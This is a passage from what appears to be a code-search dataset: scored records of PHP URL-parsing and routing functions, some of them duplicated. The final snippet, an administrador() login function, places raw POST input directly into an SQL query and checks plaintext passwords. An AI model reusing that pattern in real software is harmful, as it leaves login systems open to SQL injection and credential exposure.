\"index.php\":\n if($this->view_request == 1)\n $this->dive_nr = check_number($split_request[2]);\n $this->request_type = 1;\n break;\n case 'divesite.php':\n if($this->view_request == 1)\n $this->site_nr = check_number($split_request[2]);\n $this->request_type = 2;\n break;\n case 'equipment.php':\n if($this->view_request == 1)\n $this->equipment_nr = check_number($split_request[2]);\n $this->request_type = 3;\n break;\n case 'divestats.php':\n $this->request_type = 4;\n break;\n case 'divegallery.php':\n $this->request_type = 6;\n break;\n case 'resize.php':\n $this->request_type = 7;\n break;\n case 'drawprofile.php':\n $this->request_type = 5;\n if($this->view_request == 1)\n $this->dive_nr = check_number($split_request[2]);\n break;\n case 'drawpiechart.php':\n $this->request_type = 5;\n $this->diver_choice = false;\n break; \n case 'divesummary.php':\n $this->request_type = 5;\n $this->diver_choice = false;\n break;\n default:\n $this->diver_choice = true;\n $this->request_type = 1;\n break;\n\n }\n $_SESSION['request_type'] = $this->request_type;\n\n } else {\n $this->diver_choice = true;\n }\n //print_r($this);\n } else {\n //Find what the client wants to see and if a record is requested set it\n $split_request = GetRequestVar($this->request_uri, $this->request_file_depth);\n if (!empty($split_request[0])) {\n if (isset($split_request[1]) && $split_request[1] == 'list' ) {\n $this->view_request = 0;\n if (isset($split_request[2])) {\n $this->requested_page = $split_request[2];\n }\n } elseif (isset($split_request[1])) {\n $t->assign('dive_detail' ,1);\n $this->view_request = 1; \n }\n\n $file_req = $split_request[0];\n $id = 0;\n if (!empty($split_request[1])) {\n $id = check_number($split_request[1]);\n }\n\n switch ($file_req) {\n case 'index.php':\n $this->dive_nr = $id;\n $this->request_type = 1;\n break;\n case 'divesite.php':\n $this->site_nr = $id;\n $this->request_type = 2;\n break;\n case 'equipment.php':\n $this->equipment_nr = $id;\n $this->request_type = 3;\n break;\n case 'divestats.php':\n $this->user_id = $id;\n $this->request_type = 4;\n break;\n case 'divegallery.php':\n $this->user_id = $id;\n $this->request_type = 6;\n break;\n case 'resize.php':\n $this->user_id = $id;\n $this->request_type = 7;\n break;\n case 'drawprofile.php':\n $this->dive_nr = $id;\n $this->request_type = 5;\n break;\n case 'divesummary.php':\n $this->user_id = $id;\n $this->request_type = 4;\n break;\n default:\n //defaults to main page\n break;\n }\n $_SESSION['request_type'] = $this->request_type;\n }\n }\n }", "title": "" }, { "docid": "9ef185d03fdbcc4a6e5bac9dbe3f58c9", "score": "0.5610244", "text": "public function url();", "title": "" }, { "docid": "9ef185d03fdbcc4a6e5bac9dbe3f58c9", "score": "0.5610244", "text": "public function url();", "title": "" }, { "docid": "9ef185d03fdbcc4a6e5bac9dbe3f58c9", "score": "0.5610244", "text": "public function url();", "title": "" }, { "docid": "7e3ebd4edecaed2ca20ccac9e3babf2f", "score": "0.5610208", "text": "private function _rewrite($url)\n\t{\n if($url{0} == '/'){\n $url = substr($url, 1);\n }\n\n $data = explode(\"/\", $url);\n $this->entry = $this->_filter($data[0]);\n unset($data[0]);\n $module = implode('-', $data);\n \n// if(preg_match('/^\\d+$/is', $data[1])){\n// $this->basePrefix = $data[1];\n// $this->handle = $this->_filter($data[2], FALSE);\n// $module = $data[3];\n// } else{\n// $len = count($data);\n// if($len == 3){\n// $this->handle = $this->_filter($data[1], FALSE);\n// $module = $data[2];\n// } else{\n// $module = $data[1];\n// }\n// }\n\n $dat = explode(\"-\", $module);\n $len = count($dat);\n $this->module = $this->_filter($dat[0]);\n if($len % 2 == 0){\n $this->method = $this->_filter($dat[1]);\n unset($dat[1]);\n } else{\n $this->method = '';\n }\n unset($dat[0]);\n $dat = array_values($dat);\n $len = count($dat);\n for($i = 0; $i < $len; $i += 2){\n $_GET[$dat[$i]] = $dat[$i + 1];\n $_REQUEST[$dat[$i]] = $dat[$i + 1];\n }\n\t}", "title": "" }, { "docid": "d57d4907f1ce52f885160c2f8556cb3c", "score": "0.56088114", "text": "function setURL($url) {\n if ($this->method == \"GET\") {\n $this->url = strtok($url, \"?\");\n if ($uu = strtok(\"\\000\")) {\n $this->setQueryString($uu);\n }\n }\n else {\n $this->url = $url;\n }\n }", "title": "" }, { "docid": "c11cd1927e8630fc42f8a25a700b7043", "score": "0.560432", "text": "public function urlInit(){ $this->requested_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $this->url = $_SERVER['REQUEST_URI']; $this->exts = ['.php','.html','.tpl','.cgi','.html','.inc']; $this->modified_url = ''; $this->base_url = ''; return $this; }", "title": "" }, { "docid": "2e7e9e7ab041dde14210d14180fdee75", "score": "0.5601665", "text": "public function parseRequestedURL()\n {\n // This is the re-constructions of teh proper URL.\n // 1. Schema\n $url = $this->app->getConfig('atk/base_url', null);\n if (is_null($url)) {\n // Detect it\n $url = 'http';\n $https = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || $_SERVER['SERVER_PORT'] == 443;\n if ($https) {\n $url .= 's';\n }\n\n // 2. Continue building. We are adding hostname next and port.\n $url .= '://'.$_SERVER['SERVER_NAME'];\n //if($_SERVER[\"SERVER_PORT\"]!=\"80\")$url .= \":\".$_SERVER['SERVER_PORT'];\n if (($_SERVER['SERVER_PORT'] == '80' && !$https) || ($_SERVER['SERVER_PORT'] == '443' && $https)) {\n ;\n } else {\n $url .= ':'.$_SERVER['SERVER_PORT'];\n }\n }\n\n // We have now arrived at base_url as defined\n $this->base_url = $url;\n\n // 3. Next we need a base_part of our URL. There are many different\n // variables and approaches we tried it, REDIRECT_URL_ROOT, REDIRECT_URL,\n // etc, however most reliable is $this->unix_dirname(SCRIPT_NAME)\n $path = $this->unix_dirname($_SERVER['SCRIPT_NAME']);\n if (substr($path, -1) != '/') {\n $path .= '/';\n }\n\n // We have now arrived at base_path as defined\n $this->base_path = $path;\n\n // 4. We now look at RequestURI and extract base_path from the beginning\n if (isset($_GET['page'])) {\n $page = $_GET['page'];\n $this->page = $page;\n } else {\n $request_uri = $this->getRequestURI();\n if (strpos($request_uri, $path) !== 0) {\n throw $this->exception('URL matching problem')\n ->addMoreInfo('RequestURI', $request_uri)\n ->addMoreInfo('BasePath', $path);\n }\n $page = substr($request_uri, strlen($path));\n if (!$page) {\n $page = 'index';\n }\n\n // Preserve actual page\n $this->page = $page;\n\n // Remove postfix from page if any\n $page = preg_replace('/\\..*$/', '', $page);\n $page = preg_replace('/\\/$/', '', $page);\n $page = str_replace('/', '_', $page);\n\n if (substr($page, -1) == '_') {\n $page = substr($page, 0, -1);\n }\n }\n\n if (strpos($page, '.') !== false) {\n throw $this->exception('Page may not contain periods (.)')\n ->addMoreInfo('page', $page);\n }\n\n // We have now arrived at the page as per specification.\n $this->app->page = str_replace('/', '_', $page);\n\n $this->template_filename = $this->app->page;\n if (substr($this->template_filename, -1) == '/') {\n $this->template_filename .= 'index';\n }\n }", "title": "" }, { "docid": "fa9d65ac31a1a825b14960d72c3b327c", "score": "0.56007916", "text": "public function setUri()\n {\n $this->uri = explode('/', URI);\n }", "title": "" }, { "docid": "5f579fab66304ed2e88358f4167e1f9c", "score": "0.5578745", "text": "public function memorizeURL()\n {\n if ($this->app->page !== 'index' && !$this->recall('page', false)) {\n $this->memorize('page', $this->app->page);\n $g = $_GET;\n unset($g['page']);\n $this->memorize('args', $g);\n }\n }", "title": "" }, { "docid": "8e43b28483e2ec8f8bb5448b7a7920ba", "score": "0.5575192", "text": "function parseURL() {\n global $username;\n\n if ($_SERVER[\"REQUEST_METHOD\"] == \"GET\") {\n $parsed_url = parse_url($_SERVER[\"REQUEST_URI\"], PHP_URL_QUERY);\n $params = array();\n parse_str($parsed_url, $params);\n\n if (isset($params['username'])) {\n $username = $params['username'];\n }\n }\n }", "title": "" }, { "docid": "cb6bd3330d0ea1b5112f1879042d8bc1", "score": "0.5555767", "text": "private function parseUrl($url, $iso2 = '__')\n {\n $this->raw_url[$iso2] = $url;\n if (false != ($this->attr_in_url = preg_match_all(\"/\\/{{([^\\}]*)}}/\", $url, $variables))) {\n foreach ($variables[1] as $variable) {\n list($key, $default) = explode(':', $variable) + [null, null];\n $this->setDefault($key, $default); //add key + value to attribute holder\n }\n }\n //$url = str_replace(array('*','/'),array('.*','\\\\/'),$url);\n //$this->url_pattern[$iso2] = \"/^\".preg_replace(\"/\\{\\{[^\\}]*\\}\\}/\",\"[^\\/]*\",$url).\"/\";\n }", "title": "" }, { "docid": "3109f8f4ce2d159170f5170b6aa3e85d", "score": "0.55504715", "text": "public static function ParseUrl()\n\t{\n\t\treturn self::$router->Parse();\n\t}", "title": "" }, { "docid": "136582acb9fa41bff9c38a13c0bfb1d1", "score": "0.55408907", "text": "abstract protected function uri(): string;", "title": "" }, { "docid": "57f1cd59a4e98770bd417660af936e98", "score": "0.5531307", "text": "abstract public function getRequestUri();", "title": "" }, { "docid": "ec83bab0767994eb49fbf96f569a2d52", "score": "0.55276436", "text": "public function urlRead();", "title": "" }, { "docid": "a9169aa4a696ea049b36d4c7ef11bc47", "score": "0.552609", "text": "protected function exploreUrl(): void\n {\n $url = $_GET[RouterConst::ROUTE] ?? '';\n\n $this->setRoute($url);\n }", "title": "" }, { "docid": "c0a58adddff6b070fb021500eb3b6682", "score": "0.55200255", "text": "function rest_url($path = '', $scheme = 'json')\n{\n}", "title": "" }, { "docid": "7a4a31dd19de02a9a96470555dfb1802", "score": "0.55039877", "text": "function seo_urls(){\n\n\t\t$method = $this->router->fetch_method();\n\t\t//die($method);\t\t\t\t\n\t\tif( $this->uri->segment(2) != ''){\n\t\t\t \n\n\t\t\t$updated_string = uri_string();\n\t\t \n\t\t\t$updated_string=explode(\"/\", $updated_string, 3);\n\n\t\t\tif( $method=='material'){\n\t\t\t$updated_string1=explode(\"/\", $updated_string[2], 3);\n\t\t\t$str =\t$updated_string1[0];\n\t\t\t$this->title = $this->title . \" | \" .ucfirst($str) . \" \" .ucfirst($updated_string1[1]);\n\t\t\t//print_r($this->title);die;\n\t\t\t}\n\t\t\telse{\n\t\t\t$str = rtrim($updated_string[2], '/');\n\n\t\t\t$str = str_replace(array('/', '-'), ' ', $str);\n\t\t\t\n\t\t\t// $str =\t$this->home_model->get_translated_version($str);\n \n\t\t\t$this->title = ucfirst($str) . \" | \".$this->title;\n\t\t\t}\n\t\t\t\n \n\t\t\t$this->desc = $this->desc .\" \".ucfirst($str);\n\t\t\t}\n\n\t\t\t//die($this->title);\n\t}", "title": "" }, { "docid": "71264df89032d97f9113efafa28fd8e0", "score": "0.5500023", "text": "public function prepareURL() {\n //getting url\n $request= trim($_SERVER['REQUEST_URI'], '/');// removes first forwardslash\n $request= preg_replace('#/+#','/',$request); //removes unnecessary forwardslashes from the url\n if(!empty($request)) {\n /**\n * making an array of request to separate controller, action method and params\n */\n $url= explode('/', $request);\n //Initializing the controller\n $this->controller= $url[2];\n\n $this->action=$url[3];\n //for getting parameters we need to unset controller and action part of url\n\n if(isset($url[4])) {\n $this->params['ID'] = $url[4];//Getting ID from GET method if any\n }\n //If request is post mainly add a record or update a record\n if($_SERVER['REQUEST_METHOD'] == 'POST') {\n\n foreach ($_POST as $key => $item) //GETTING FORM DATA PARAMETERS ARRAY\n {\n $this->params[$key] = $item;//making array of params\n }\n }\n }\n }", "title": "" }, { "docid": "65f88a7fcc0b1c467cad77a842f7def7", "score": "0.54995656", "text": "function parseUrl()\n{\n\t$controller = 'default';\n\t$action = 'index';\n\t$segment_parts = array();\n\t// $obj = new Request();\n\t// Reflections\n\n\n\t// http://localhost/php_3_pm/ecommerce/index.php/product/index\n\t// debug($_SERVER);\n\t$request_uri = trim($_SERVER['REQUEST_URI'], '/');\n\n\t$getparameters = $_GET;\n\t// debug($getparameters);\n\n\t$request_uri = $_SERVER['REQUEST_URI'];\n\n\t$request_uri = str_replace('?pg=1', '', $request_uri);\n\t// echo $_req_uri;\n\n\t\n\t$url_segments = explode('/', $request_uri);\n\n\n\t$index_key = array_search('index.php', $url_segments);\n\n\tif($index_key > 0) {\n\t\t$seg_arr = array();\n\t\t$size = sizeof($url_segments);\n\t\tfor($i = $index_key + 1; $i < $size; $i++)\n\t\t{\n\t\t\t$seg_arr[] = $url_segments[$i];\n\t\t}\n\n\t\t// debug($seg_arr);\n// die;\n\n\n\t\tif($seg_arr) {\n\t\t\t// debug($seg_arr);\n\t\t\t\t// echo count($seg_arr);\n\t\t\t\t// die;\n\t\t\tif(count($seg_arr) > 2) {\n\t\t\t\t$controller = isset($seg_arr[0]) ? $seg_arr[0] : $controller;\n\t\t\t\t$action = isset($seg_arr[1]) ? $seg_arr[1] : $action;\n\t\t\t\tunset($seg_arr[0]);\n\t\t\t\tunset($seg_arr[1]);\n\t\t\t\t\n\t\t\t\t$segment_parts = array_values($seg_arr);\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\tif(isset($seg_arr[0]) && $seg_arr[0]) {\n\t\t\t\t\t$controller = $seg_arr[0];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(isset($seg_arr[1]) && $seg_arr[1]) {\n\t\t\t\t\t$action = $seg_arr[1];\t\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t}\n\n\t\n\t\n\t\n\t$segments = array(\n\t\t'controller'\t=>\t$controller,\n\t\t'action'\t\t=>\t$action,\n\t\t'segment_parts'\t=>\tarray(\n\t\t\t\t$segment_parts,\n\t\t\t\t'getparams'\t\t=>\t$getparameters\n\t\t\t),\n\t\t);\n\n\treturn $segments;\n}", "title": "" }, { "docid": "c41e3e1d652a8bb5acb390173b8f5c10", "score": "0.5497848", "text": "public function parseUrl(): PartialDriver;", "title": "" }, { "docid": "ccea9be42a95c4cd6de888425fa4afcd", "score": "0.5497017", "text": "function setURLs(&$node, $url) {\n\t//echo $node->getNodePath().\"<br/>\";\n\tforeach ($node->attributes as $attr) {\n\t\tif ($attr -> nodeName == \"src\" || $attr -> nodeName == \"href\") {\n\t\t\t// Da URL relativo a URL assoluto\n\t\t\t$attr -> nodeValue = substr($url, 0, strrpos($url, '/', -1) + 1) . $attr -> nodeValue;\n\t\t}\n\t}\n\t$childlist = $node -> childNodes;\n\tforeach ($childlist as $child) {\n\t\tsetURLs($child, $url);\n\t}\n}", "title": "" }, { "docid": "43249b45397a447111ca16535fce4ae4", "score": "0.54950434", "text": "protected static function parseUrl(){\n\t\tif(self::$urlSegments === null){\n\t\t\t$url = preg_replace('/^(.*)\\?.*$/', '\\1', $_SERVER['REQUEST_URI']);\n\t\t\t$url = trim($url, '/');\n\t\t\t$urlSegmentsRaw = explode('/', $url);\n\t\t\tself::$urlSegments = array();\n\t\t\tforeach($urlSegmentsRaw as $urlSegment){\n\t\t\t\tif($urlSegment !== '') array_push(self::$urlSegments, urldecode($urlSegment));\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "8a7b41c02f211deff831fd7b3760e484", "score": "0.5493376", "text": "function url(&$request, $newContext = null, $handler = null, $op = null, $path = null,\n\t\t\t\t$params = null, $anchor = null, $escape = false) {\n\t\t// must be implemented by sub-classes\n\t\tassert(false);\n\t}", "title": "" }, { "docid": "37354454792e5267da05c054e79dccfe", "score": "0.5493263", "text": "function we_tag_url(array $attribs){\n\tif(($foo = attributFehltError($attribs, 'id', __FUNCTION__))){\n\t\treturn $foo;\n\t}\n\tstatic $urls = array();\n\t$type = weTag_getAttribute('type', $attribs, 'document', we_base_request::STRING);\n\t$id = weTag_getAttribute('id', $attribs, 0, we_base_request::STRING);\n\t$triggerid = weTag_getAttribute('triggerid', $attribs, 0, we_base_request::INT);\n\t$hidedirindex = weTag_getAttribute('hidedirindex', $attribs, TAGLINKS_DIRECTORYINDEX_HIDE, we_base_request::BOOL);\n\t$objectseourls = weTag_getAttribute('objectseourls', $attribs, TAGLINKS_OBJECTSEOURLS, we_base_request::BOOL);\n\t\n\tif(is_numeric($id) && (isset($urls[$type . $id]))){ // do only work you have never done before\n\t\treturn $urls[$type . $id];\n\t}\n\t\n\tif($id !== 'self' && $id !== 'top' && intval($id) === 0){\n\t\t$url = '/';\n\t} else {\n\t\t$url = '';\n\t\tswitch($type){\n case we_base_ContentTypes::OBJECT :\n\t\t\t\t$objectID = ($id === 'self' || $id === 'top') ? $GLOBALS['we_obj']->ID : intval($id);\n\t\t\t\tif(($getObject = getHash('SELECT Url,TriggerID FROM ' . OBJECT_FILES_TABLE . ' WHERE ID=' . intval($objectID)))){\n\t\t\t\t\t$triggerDocPath = $triggerid ? id_to_path($triggerid) :\n ($getObject['TriggerID'] ? id_to_path($getObject['TriggerID']) :\n (defined('WE_REDIRECTED_SEO') ? //webEdition object uses SEO-URL\n we_objectFile::getNextDynDoc(($path = rtrim(substr(WE_REDIRECTED_SEO, 0, strripos(WE_REDIRECTED_SEO, $getObject['Url'])), '/') . DEFAULT_DYNAMIC_EXT), path_to_id(rtrim(substr(WE_REDIRECTED_SEO, 0, strripos(WE_REDIRECTED_SEO, $getObject['Url'])), '/')), $GLOBALS['we_obj']->Workspaces, $GLOBALS['we_obj']->ExtraWorkspacesSelected, $GLOBALS['DB_WE']) :\n parse_url(urldecode($_SERVER['REQUEST_URI']), PHP_URL_PATH)\n )\n );\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$path_parts = pathinfo($triggerDocPath);\n\n\t\t\t\t\tif($objectseourls && $getObject['Url'] != '' && show_SeoLinks()){\n\t\t\t\t\t\t$url = ($path_parts['dirname'] != '/' ? $path_parts['dirname'] : '') . '/' .\n\t\t\t\t\t\t\t($hidedirindex && seoIndexHide($path_parts['basename']) ?\n\t\t\t\t\t\t\t\t'' : $path_parts['filename'] . '/' ) . $getObject['Url'];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$url = ($hidedirindex && seoIndexHide($path_parts['basename']) ?\n\t\t\t\t\t\t\t\t($path_parts['dirname'] != '/' ? $path_parts['dirname'] : '') . '/?we_objectID=' . $objectID :\n\t\t\t\t\t\t\t\t$triggerDocPath . '?we_objectID=' . $objectID\n\t\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'document':\n\t\t\tdefault:\n\t\t\t\tswitch($id){\n\t\t\t\t\tcase 'self':\n\t\t\t\t\tcase 'top':\n\t\t\t\t\t\t$doc = we_getDocForTag($id, true);\n\t\t\t\t\t\t$docID = $doc->ID;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$docID = $id;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$getDocument = getHash('SELECT Path,IsFolder FROM ' . FILE_TABLE . ' WHERE ID=' . intval($docID));\n\t\t\t\tif(isset($getDocument['Path'])){\n\t\t\t\t\t$path = ($getDocument['Path'] . ($getDocument['IsFolder'] ? '/' : ''));\n\t\t\t\t\t$path_parts = pathinfo($path);\n\t\t\t\t\t$url = ($hidedirindex && TAGLINKS_DIRECTORYINDEX_HIDE && seoIndexHide($path_parts['basename'])) ?\n\t\t\t\t\t\t($path_parts['dirname'] != '/' ? $path_parts['dirname'] : '') . '/' :\n\t\t\t\t\t\t$path;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t}\n\t}\n\t\n\t$urls[$type . $id] = $url;\n\treturn $url;\n}", "title": "" }, { "docid": "dd4e50e3078d2be31304bb0e15b54896", "score": "0.5484127", "text": "private function _getUrl() {\n\t\t$this->_url = (isset($_GET['url']) ? $_GET['url'] : null);\n\t\t$this->_url = rtrim($this->_url, \"/\");\n\t\t$this->_url = filter_var($this->_url, FILTER_SANITIZE_URL);\n\t\t$this->_url = explode ('/',$this->_url);\n\t}", "title": "" }, { "docid": "825ef9ea5edeb175510bbcfae22a7221", "score": "0.54778355", "text": "abstract public function setUrl(?string $url);", "title": "" }, { "docid": "5d3d91a652daff99baf654033af12603", "score": "0.5476433", "text": "protected function initCurrentUrl() {}", "title": "" }, { "docid": "5faed97591276d81462ab7175c0ac954", "score": "0.54686856", "text": "private function parseURL() {\n\t\t$FULLMATCHES = $MATCH = $REF = 0;\n\t\t$BACKREFS = $OFFSET = 1;\n\t\t$url = $this->endpointConfig['url'];\n\t\t$numVars = preg_match_all('#(/?\\$GUID!?)/?#', $url, $matches, PREG_OFFSET_CAPTURE);\n\t\tif($numVars) {\n\t\t\t$last = $matches[$FULLMATCHES][$numVars-1];\n\t\t\t$lastReq = substr($matches[$BACKREFS][$numVars-1][$MATCH], -1) == '!';\n\t\t\t//is the last actually the segment in the endpoint? if not, then it's still required.\n\t\t\tif(!$lastReq) $lastReq = $last[$OFFSET] + strlen($last[$MATCH]) != strlen($url);\n\t\t\t$requiredVars = $lastReq ? $numVars : $numVars-1;\n\t\t\tif($requiredVars && !(count($this->guid) == $requiredVars || count($this->guid)-1 == $requiredVars)) {\n\t\t\t\tthrow new Exception(\"Insufficient url vars to populate required sections of this end-point ({$this->endpoint})\");\n\t\t\t}\n\t\t\t$url = preg_replace('#\\$GUID!?#', '%s', $url);\n\t\t\t$suppliedVars = count($this->guid);\n\t\t\tif(!$lastReq && ($suppliedVars == $numVars-1 || ($this->guid[$suppliedVars-1] === null && $suppliedVars == $numVars))) $url = substr($url, 0, strrpos($url, '/%s'));\n\t\t\t$url = vsprintf($url, $this->guid);\n\t\t}\n\t\treturn $url;\n\t}", "title": "" }, { "docid": "d7f76820241b6e0c132586fac0fb5823", "score": "0.5466676", "text": "public function getURI(){ }", "title": "" }, { "docid": "a423b3772ba2dd40b077c58a76d54a7e", "score": "0.5463239", "text": "private function processURI()\r\n\t{\r\n\t\t$requestURIStringArray = explode('/', $this->requestURIString);\r\n\t\tforeach ($requestURIStringArray as $key => $requestURIStringArrayItem) {\r\n\t\t\t$requestURIPart = new RequestURIPart($requestURIStringArrayItem);\t\r\n\t\t\t$this->requestURIParts->push($requestURIPart);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d0eb2308e2e262fac1d12e16532dff8a", "score": "0.54524106", "text": "protected function DepartURI()\n {\n $parts = array_filter(\\explode('?', $this->requestURI));\n if(count($parts)===0)\n {\n $this->_parts = array();\n return;\n }\n $parts = \\explode('/', $parts[0]);\n /*\n * Normalizing the $parts arrays\n */\n $parts = array_filter($parts, 'strlen');\n $parts = count($parts)? array_chunk($parts, count($parts)) : array();\n $parts = count($parts)? $parts[0] : array();\n # fetch page type\n if(count($parts) && \\iMVC\\Tools\\String::Contains($parts[count($parts)-1], \".\"))\n {\n $dpos = strpos($parts[count($parts)-1], \".\");\n $this->TYPE = substr($parts[count($parts)-1], $dpos+ 1);\n $parts[count($parts)-1] = substr($parts[count($parts)-1], 0, $dpos);\n }\n $this->_parts = $parts;\n }", "title": "" }, { "docid": "0548141d9728470a11ac048ba9171959", "score": "0.5450058", "text": "public function parse($uri);", "title": "" }, { "docid": "8db68a6025783808cb842c0cf25c6446", "score": "0.5449713", "text": "public function get_uri()\n {\n }", "title": "" }, { "docid": "dbd4ed7fcb469ef7ddbbf5cb1257228a", "score": "0.5448563", "text": "public function __construct() {\n $this->parseURI(); \n }", "title": "" }, { "docid": "c0bf65bc2cd96a86f012cd457f91c693", "score": "0.5448207", "text": "private function parseUrl($url) {\n \tglobal $hp_url;\n \t\n $start = substr($url[0],0,1);\n $url = substr($url[0],11); // ENTFERNT \"index.php?\n $url = str_replace('&amp;','&',$url); // URLS NORMALISIEREN - ALLE auf das unschöne & anstatt &amp; - anstatt regexp auf &amp;\n \n \n $url_split = explode(\"&\",$url);\n $values = array();\n\n foreach($url_split as $keynvalue) {\n list($key,$value) = explode(\"=\",$keynvalue);\n if($key == 'site') {\n $cur_site = $value;\n $index = 0;\n }\n else { \n if(!isset($this->key_indexes[$cur_site][$key])) {\n $index = $this->mysql_registerNewKey($cur_site,$key)+1;\n }\n else $index = $this->key_indexes[$cur_site][$key]+1;\n }\n $values[$index] = $value;\n }\n $indexes = array_values($this->key_indexes[$cur_site]);\n for($i=1;$i<count($indexes);$i++) {\n if(!isset($values[$i])) $values[$i] = '-';\n }\n krsort($values);\n foreach($values as $key => $val) {\n if($val == '-') unset($values[$key]);\n else break;\n }\n ksort($values);\n $final_url = implode(MODRWRT_SEP,$values).MODRWRT_ADDITIONAL;\n \n return $start.($start == '=' ? 'http://'.$hp_url.'/' : '').$final_url;\n }", "title": "" }, { "docid": "2b41afd55a157907ebe24a1ac3919007", "score": "0.54381305", "text": "public function requestUri() {}", "title": "" }, { "docid": "d5a2615355c83f9f1d7ab335beaa80aa", "score": "0.5437993", "text": "private function getURL(){\n\t\t$url = isset($_GET['url']) ? $_GET['url'] : '';\n\t\t$url = rtrim($url, '/');\n\t\t$url = filter_var($url, FILTER_SANITIZE_URL);\n\t\t$this->url = $url;\n\t}", "title": "" }, { "docid": "d264ed804eba3959f6d40d774aa22ed8", "score": "0.5434153", "text": "public function parseUrl(string $url): ParsedUrl;", "title": "" }, { "docid": "941edebcef0aaf1ce88bf1e78b79bcc2", "score": "0.5433627", "text": "public function setUrl($v) { $this->_url = (string)$v; }", "title": "" }, { "docid": "c375295bda08ca6a5d026f86f7979515", "score": "0.54315", "text": "public function processApi(){\r\n\r\n\r\n $urlParts = parse_url($_SERVER['REQUEST_URI']);\r\n\r\n parse_str($urlParts['query'], $query);\r\n $this->data=array('param1'=> $query['id']);\r\n\r\n parse_str($urlParts['path'], $path);\r\n\r\n $func=key($path); //yol bilgisi $path ilintili dizisi içerisinde anahtar olarak bulunuyor\r\n\r\n $func=explode(\"/\",$func);\r\n $func=end($func);\r\n\r\n $this->$func();\r\n\t\t\t//else\r\n\t\t\t//\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\r\n\t\t}", "title": "" }, { "docid": "1f5a7e0e6779fda3427fd50075674067", "score": "0.54266304", "text": "public function linkee_url();", "title": "" }, { "docid": "20cbf0e6f51f04b8f68fa23d1c640e2a", "score": "0.5422958", "text": "public static function\n\t\tparse_and_make_url($url_str)\n\t{\n\t\t$url = new HTMLTags_URL();\n\t\t\n\t\t#echo \"\\$url_str: $url_str\\n\";\n\t\t\n\t\t/*\n\t\t * Is the scheme set?\n\t\t */\n\t\tif (preg_match('{^([a-zA-Z]+)://(.+)}', $url_str, $matches)) {\n\t\t\t$url->set_scheme($matches[1]);\n\t\t\t\n\t\t\t$url_without_scheme_and_punc = $matches[2];\n\t\t\t\n\t\t\tif (preg_match('{^([^/]+)(.+)}', $url_without_scheme_and_punc, $matches)) {\n\t\t\t\t$url->set_domain($matches[1]);\n\t\t\t\t\n\t\t\t\t$url_str = $matches[2];\n\t\t\t}\n\t\t}\n\t\t\n if (preg_match('{([^?]*)(?:\\?((?:[^=]+=[^=&]+)(?:&[^=]+=[^=&]+)*))?}', $url_str, $matches)) {\n #echo 'print_r($matches): ' . \"\\n\";\n #print_r($matches);\n \n $file = $matches[1];\n $get_vars = $matches[2];\n \n $url->set_file($file);\n \n foreach (explode('&', $get_vars) as $key_value_pair) {\n if (preg_match('/([^=]+)=([^=]+)/', $key_value_pair, $matches)) {\n $url->set_get_variable($matches[1], $matches[2]);\n }\n }\n\t\t}\t\t\n\t\t\n\t\t#print_r($url);\n\t\t#\n\t\t#exit;\n\t\t\n\t\treturn $url;\n\t}", "title": "" }, { "docid": "3234a7260f1fec245cadc8368720c0b6", "score": "0.54212713", "text": "function createUri(){\n\t\t$tmp = '/' .$this->getPath();\n\t\tforeach ($this->parameters as $key => $value){\n\t\t\t$tmp .= '/' .$key .'/' .$value;\n\t\t}\n\t\t$this->uri = $tmp;\n\t\treturn $this->uri;\n\t}", "title": "" }, { "docid": "28c68e9c1f16d3e6843792b1d039da8a", "score": "0.5419425", "text": "function B_CURP(){\n $this->url=$this->url0;\n }", "title": "" }, { "docid": "4cf7eefcec5272c32597d9c975f17793", "score": "0.54184914", "text": "public function __construct($url) {\r\n $url_array = parse_url($url);\r\n $this->value($url_array);\r\n \r\n // Convert the Query to data as well\r\n parse_str($this->query, $query);\r\n $this->query = new Data($query);\r\n }", "title": "" } ]
ba526638b1ca663c6443fd79d0900ca3
entra como administrador de lo contrario pasa a la siguiente funcion
[ { "docid": "d02be2d197bba95332a134cf98b3c444", "score": "0.6710505", "text": "function administrador(){\n\tinclude 'iniciar.php';\n\t$nombre=$_POST['nombre'];\n\t$contraseha=$_POST['contraseha'];\n\t$admin= \"SELECT * FROM administrador where nombre ='$nombre' and contraseha ='$contraseha'\";//compara contraseha y nombre\n\t$query5= mysqli_query($conectar,$admin);\n\t$tupla_admin=mysqli_num_rows($query5);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//encuentra una tupla \n\tif ($tupla_admin>0) {\n\t\theader(\"Location:administrador.php\");\n\t}\n\ttrabajador($nombre,$contraseha);\n\tdie();\n}", "title": "" } ]
[ { "docid": "57d6c0a5c7facf83b1e0f178993dec2e", "score": "0.80453944", "text": "public function administrar()\r\n\t{\r\n\t}", "title": "" }, { "docid": "976fe2de32fc5d62cd475e60189113b9", "score": "0.74198276", "text": "public function usuarioAdministrador(){\n try {\n if($this->verificarSession()){\n \n $this->vista->set('titulo', 'Usuario Administrador');\n return $this->vista->imprimir();\n }\n } catch (Exception $exc) {\n echo 'Error de aplicacion: ' . $exc->getMessage();\n }\n \n }", "title": "" }, { "docid": "9818954d5e2ed9b9dfae94a70f36eeae", "score": "0.71069616", "text": "function validaAdmin() {\n if(!$_SESSION['usuario'] || $_SESSION['usuario']['tipoUser'] == 3) { // Funcionarios não possuem acesso\n header(\"Location: ../views/index.php\");\n }\n }", "title": "" }, { "docid": "4fd78fa67de0b7dceaac86b5167da8e6", "score": "0.70254844", "text": "public function 